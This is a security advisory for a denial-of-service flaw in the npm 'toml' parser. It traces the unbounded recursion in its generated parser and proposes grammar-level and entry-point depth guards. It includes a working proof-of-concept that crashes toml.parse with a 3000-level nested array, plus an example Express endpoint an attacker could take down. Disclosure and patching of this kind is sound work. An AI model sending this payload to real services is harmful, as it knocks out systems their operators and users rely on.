OSV 1.4.0 · github-reviewed · 修改于 2026-09-04 04:56
发布时间
2026-09-04 04:56
GitHub 审查时间
2026-09-04 04:56
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/09/GHSA-82x6-q7mm-w9cf/GHSA-82x6-q7mm-w9cf.json
toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node's call stack.
A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.
The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inline_table rule functions — none carry a depth counter:
// lib/parser.js — peg$parsevalue() @ line 1008
function peg$parsevalue() {
...
s0 = peg$parsearray(); // line 1017 ← value → array
if (s0 === peg$FAILED) {
s0 = peg$parseinline_table(); // line 1019 ← value → inline_table
}
...
}
// peg$parsearray() @ line 2879
function peg$parsearray() {
...
s3 = peg$parsevalue(); // line 2931 ← array element → value (back-edge)
...
}
// peg$parseinline_table() @ line 3066 → peg$parseinline_table_entry() @ line 3239
function peg$parseinline_table_entry() {
...
s5 = peg$parsevalue(); // line 3266 ← inline-table value → value (back-edge)
...
}
Recursion cycle for a=[[[ … ]]] (bare nested arrays):
toml.parse(src)
→ peg$parsevalue() # parser.js:1008
→ peg$parsearray() # parser.js:1017 / 2879
→ peg$parsevalue() # parser.js:2931 ← back-edge, per nested element
→ … # depth == input nesting → RangeError, no guard
Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinline_table / . Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar () or in an input guard (see ).
peg$parseinline_table_entrysrc/toml.pegjsSetup:
npm install [email protected] # latest release; 4.1.1 and earlier are equally affected
# Docker equivalent:
# docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"
Reproduce — save as poc.js, run node poc.js:
const toml = require('toml');
console.log('version:', require('toml/package.json').version); // 4.1.2
// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x;
console.log('payload bytes:', payload.length); // 6003
try {
toml.parse(payload);
console.log('no crash');
} catch (e) {
console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));
console.log('is RangeError?', e instanceof RangeError, // true
'| is SyntaxError?', e instanceof SyntaxError); // false
}
Expected output (vulnerable — actual run):
version: 4.1.2
payload bytes: 6003
CONFIRMED: RangeError: Maximum call stack size exceeded
is RangeError? true | is SyntaxError? false
Verified crash thresholds (fresh process, single parse, default Node 24 stack):
| Payload shape | Reliable crash depth | Payload size |
|---|---|---|
Bare nested array a=[[ … ]] | ≥ ~2,500 | ~5 KB (6 KB at depth 3000, used above) |
Inline table {arr=[ … ]} | ≥ ~1,500 | ~12 KB |
Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured
--stack-size. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.
// Node.js service parsing user-supplied TOML config
const express = require('express');
const toml = require('toml');
const app = express();
app.use(express.text({ type: 'application/toml', limit: '100kb' }));
app.post('/config', (req, res) => {
try {
const config = toml.parse(req.body); // ← RangeError on ~6 KB nested payload
res.json({ status: 'ok' });
} catch (e) {
// toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column)
// on malformed input. A RangeError has neither, so this guard rethrows it:
if (e.line != null) return res.status(400).json({ error: e.message });
throw e; // RangeError propagates → uncaught → worker down
}
});
An unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). toml.parse overflows the stack and throws RangeError; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).
The package exports only
parse(Object.keys(require('toml'))→['parse']); there is notoml.SyntaxError. Code written ascatch (e) { if (e instanceof toml.SyntaxError) … }is itself broken (instanceof undefinedthrows), so applications generally cannot cleanly distinguish the DoSRangeErrorfrom a normal parse error.
Any Node.js application that calls toml.parse() on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. toml.parse is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With ~47 million monthly downloads and 0 existing CVEs, the exposure is broad.
RangeError is a subclass of Error (not of the parser's SyntaxError), so it bypasses the usual "is this a parse error?" checks and propagates as an unexpected exception.
Because lib/parser.js is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:
Option 1 — grammar-level depth guard (src/toml.pegjs), then re-run Peggy:
// In the grammar initializer:
{ let depth = 0; const MAX_DEPTH = 500; }
// Wrap the recursive `value` rule:
value = &{ if (++depth > MAX_DEPTH) { error("TOML nesting too deep"); } return true; }
v:(array / inline_table / ...) { depth--; return v; }
Option 2 — entry-point guard in index.js (reject pathological input before parsing):
module.exports.parse = function (input) {
// cheap structural bound before the recursive parse
let depth = 0, max = 0;
for (const ch of input) {
if (ch === '[' || ch === '{') max = Math.max(max, ++depth);
else if (ch === ']' || ch === '}') depth--;
}
if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)');
return realParse(input);
};
Immediate mitigation (users, verified): bound untrusted input length and bracket-nesting depth before calling toml.parse(), e.g. reject payloads whose maximum [/{ nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).
Same CWE-674 class as the recursion-DoS findings in the PyPI toml package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is generated by Peggy, so the recursion lives in peg$parsevalue/peg$parsearray/peg$parseinline_table and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written parseValue(tokens, index) functions that do not exist in the package.